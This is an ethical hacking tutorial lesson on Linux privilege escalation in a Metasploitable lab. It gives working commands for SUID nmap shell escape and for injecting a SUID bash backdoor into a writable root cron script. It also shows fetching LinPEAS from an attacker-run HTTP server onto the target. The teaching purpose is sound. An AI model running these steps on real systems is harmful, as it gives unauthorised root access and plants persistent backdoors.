Ethical Hacking
Linux System Attacks
You have a low-privilege shell. Now what? This lesson covers the techniques that turn that foothold into root — SUID abuse, cron job exploitation, writable PATH directories, and weak file permissions. All practiced legally in your Metasploitable lab.
The privilege escalation mindset
Getting a shell as a low-privilege user is a starting point, not an ending point. Most of what matters on a Linux system — reading /etc/shadow, installing backdoors, modifying system files, accessing other users' data — requires root. Privilege escalation is the process of finding a path from where you are to where you need to be.
The good news is that Linux systems leave clear signs of misconfiguration. Permissions are visible, cron jobs are readable, and SUID binaries are enumerable with a single command. A methodical check of each category takes ten minutes and on a misconfigured system almost always surfaces something exploitable.
The five escalation categories on Linux
SUID abuse — nmap interactive mode
In Lesson 24, the SUID binary search returned /usr/bin/nmap. Older versions of Nmap — specifically versions 2.02 to 5.21 — include an interactive mode that accepts commands from within the tool. One of those commands is !sh which drops to a shell. Because nmap runs as root via SUID, that shell inherits root privileges.
This is a genuine historical vulnerability that existed in real production systems. Metasploitable ships with nmap 5.00 — old enough to have interactive mode. The technique is simple, the impact is immediate, and it is an excellent illustration of why SUID binaries need to be audited regularly.
The scenario: You have a shell as msfadmin on Metasploitable. sudo -l shows (ALL) NOPASSWD: ALL — but you want to demonstrate an additional escalation path. The SUID nmap binary provides a second independent route to root that would exist even if sudo was properly restricted.
# Step 1 — confirm nmap has the SUID bit and is owned by root
# The output should show -rwsr-xr-x — the 's' where 'x' would be for owner
# means SUID is set. Owner is root = runs as root for any user.
ls -la /usr/bin/nmap
# Step 2 — check the nmap version
# Interactive mode only exists in versions 2.02 through 5.21
# Versions above 5.21 removed it — this check confirms whether the path is viable
nmap --version
# Step 3 — launch nmap in interactive mode
# --interactive flag drops into nmap's built-in command interpreter
nmap --interactive
# Step 4 — once inside nmap's interactive prompt, spawn a shell
# The ! prefix tells nmap to execute a system command
# sh spawns a shell — which inherits nmap's root privileges via SUID
# Type this at the nmap> prompt:
# nmap> !sh
# Step 5 — confirm root access
# whoami should return "root"
# id shows the full user context including all group memberships
whoami
idBreaking it down:
In a normal executable the owner permission is -rwxr-xr-x. The SUID bit replaces the owner's execute 'x' with an 's'. This single character difference means the binary does not run as the user who launched it — it runs as its owner. Owner here is root. Any user on the system who runs nmap gets root-level execution for the duration of that process.
The prompt changed from $ (regular user) to # (root). whoami returned root. uid=0 in the id output confirms it — uid 0 is the Linux root account. From this shell, every command runs with full system privileges. The escalation is complete. In a report, this is documented as: "low-privilege user escalated to root via SUID nmap interactive mode — no exploit code required."
Cron job exploitation — hijacking a scheduled task
Cron is the Linux task scheduler — it runs commands automatically at scheduled intervals. When a cron job runs as root and executes a script that a low-privilege user can write to, that user can replace the script's contents with anything they want. On the next scheduled run, root executes it.
The check is simple: read /etc/crontab and any files in /etc/cron.d/ to see what is scheduled and as which user. Then check whether the scripts being called are writable. Two commands. If both conditions are met — root cron job + writable script — the escalation path is open.
# Step 1 — read the system crontab to see scheduled jobs
# Format: minute hour day month weekday user command
# We are looking for jobs that run as root (6th column = root)
cat /etc/crontab
# Also check the per-user cron directories
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ 2>/dev/null
# Step 2 — identify the script being executed by the root cron job
# Check who owns it and whether it is writable by the current user
# If permissions include w for group or other — it is writable without root
ls -la /usr/local/bin/cleanup.sh
# Step 3 — if the script is writable, inject a payload
# This appends a command to the existing script content
# The payload creates a SUID copy of bash — a persistent root shell backdoor
# When cron runs the script as root, it executes our injected line
# cp copies /bin/bash to /tmp/rootbash chmod +s sets the SUID bit on it
echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" >> /usr/local/bin/cleanup.sh
# Step 4 — wait for the cron job to run, then use the backdoor
# -p flag tells bash to preserve the SUID privileges
# without -p bash drops root privileges even when run from a SUID binary
/tmp/rootbash -p
# Confirm root access
whoamiBreaking it down:
Triple 'w' in the permissions means every user on the system can modify this file. Combined with a cron job that executes it as root every minute — the asterisks in every cron field mean "every" — this is a textbook privilege escalation path. The two conditions required: cron runs it as root, and any user can write to it. Both confirmed in two commands.
Modern bash drops SUID privileges by default as a security measure — even if the binary has the SUID bit set, bash resets its effective UID back to the calling user unless -p is specified. This is a common stumbling point. Without -p the shell opens but whoami returns the original user, not root. With -p the privileges are preserved and root access is confirmed.
In a real engagement, restore the original cron script and remove /tmp/rootbash immediately after confirming root access. Leaving a SUID backdoor on a client's system — even in a lab environment — is poor practice and must be explicitly documented in the report alongside what was left behind and when it was removed.
Automated enumeration with LinPEAS
Running each check manually is good for learning — it builds the mental model of what to look for. On a time-pressured engagement with many hosts, LinPEAS does the same checks automatically in a fraction of the time. It is a bash script that runs every standard privilege escalation check and colour-codes the output by priority.
LinPEAS does not exploit anything — it enumerates. It hands you a prioritised list of potential escalation paths, which you then investigate and exploit manually. Think of it as the LinPEAS version of what OpenVAS is to port scanning — an automated first pass that surfaces candidates for manual follow-up.
# Download LinPEAS onto Kali first, then transfer it to the target
# LinPEAS is hosted at github.com/carlospolop/PEASS-ng
# On Kali — download the script
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
# Transfer to Metasploitable using the writable FTP tmp directory we found earlier
# or use a simple Python HTTP server on Kali and wget from the target
# On Kali — start a temporary HTTP server in the directory containing linpeas.sh
# python3 -m http.server starts a web server on port 8000 serving the current directory
python3 -m http.server 8000
# On Metasploitable — download LinPEAS from Kali's temporary server
# Replace 192.168.56.102 with your actual Kali IP from Lesson 9
wget http://192.168.56.102:8000/linpeas.sh -O /tmp/linpeas.sh
# Make it executable — chmod +x adds the execute permission
chmod +x /tmp/linpeas.sh
# Run LinPEAS — output is colour-coded by severity
# Red/yellow highlights are the highest-priority findings to investigate first
# Pipe through less to read the long output one screen at a time
/tmp/linpeas.sh | tee /tmp/linpeas_output.txtBreaking it down:
The nmap SUID, the writable cron script, the bash_history passwords, and the config file credentials — all surfaced in one automated run. This confirms that the manual approach and the automated tool are finding the same things. Use LinPEAS to catch what manual checks might miss, and use manual checks to understand what LinPEAS is actually reporting.
The tee command splits output — it writes to the file and also displays it on screen simultaneously. Without tee, redirecting to a file would mean the output is invisible until the script finishes. LinPEAS runs for a few minutes — tee lets you watch it live while also capturing the full output for the report.
Escalation evidence — what goes in the report
For each successful privilege escalation path, the report needs to capture four things: the misconfiguration found, the steps taken to exploit it, the proof of root access, and the remediation. The table below is what that looks like structured for a report.
Three independent paths to root on a single host — each from a different misconfiguration category. In a real engagement, finding even one of these would be a critical finding. Finding three demonstrates a systemic hardening failure rather than an isolated oversight, which changes the narrative in the executive summary considerably.
Teacher's Note: Always remove artefacts from privilege escalation exercises on real engagements — delete /tmp/rootbash, restore the original cron script, and document exactly what you created and when you removed it. Leaving SUID backdoors on client systems — even accidentally — is a serious professional failing that can have legal consequences.
Practice questions
Scenario:
Scenario:
Scenario:
Quiz
Scenario:
Scenario:
Scenario:
Up Next · Lesson 26
Windows System Attacks
Registry abuse, service misconfigurations, DLL hijacking, and the techniques that escalate privileges on Windows systems.